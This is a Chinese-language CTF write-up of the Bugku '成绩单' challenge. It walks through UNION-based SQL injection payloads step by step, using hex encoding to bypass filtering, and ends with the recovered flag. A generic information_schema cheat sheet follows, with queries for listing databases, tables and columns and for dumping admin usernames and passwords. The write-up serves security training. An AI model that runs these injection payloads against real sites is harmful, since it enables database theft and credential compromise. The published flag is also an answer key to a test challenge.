WP-Bugku-成绩单

题目地址:http://120.24.86.145:8002/chengjidan/

进入这道题目 我们先手遍历一遍
id=-1' union select 1,2,3,4#

发现有四个表且都有回显

于是 就开始爆破吧

通过
id=-1' union select 1,2,3,database()#
得到数据库名字skctf_flag

之后通过
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表名fl4g,sc

很显然我们需要的数据在fl4g这个表里

接下来我们就要爆字段了

通过
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#//这里需要用16进制绕过
得到字段skctf_flag

最后我们就可以开始查询数据了

通过
id=-1' union select 1,2,3,skctf_flag from fl4g#
得到BUGKU{Sql_INJECT0N_4813drd8hz4}


mysql中的information_schema 结构用来存储数据库系统信息

information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。 

| SCHEMATA ――>存储数据库名的,

|——>关键字段:SCHEMA_NAME,表示数据库名称

| TABLES ――>存储表名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示表的名称

| COLUMNS ――>存储字段名的

|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;

TABLE_NAME表示所属的表的名称

    COLUMN_NAME表示字段名

可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。

爆所有数据名

select group_concat(SCHEMA_NAME) from information_schema.schemata

得到当前库的所有表

select group_concat(table_name) from information_schema.tables where table_schema=database()

得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572

select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572

得到字段具体的值
select group_concat(username,0x3a,password) from adminuser


![](https://i.imgur.com/0iK9fkN.png)

AbelChe wechat
扫码加微信
Donate here!!!
0%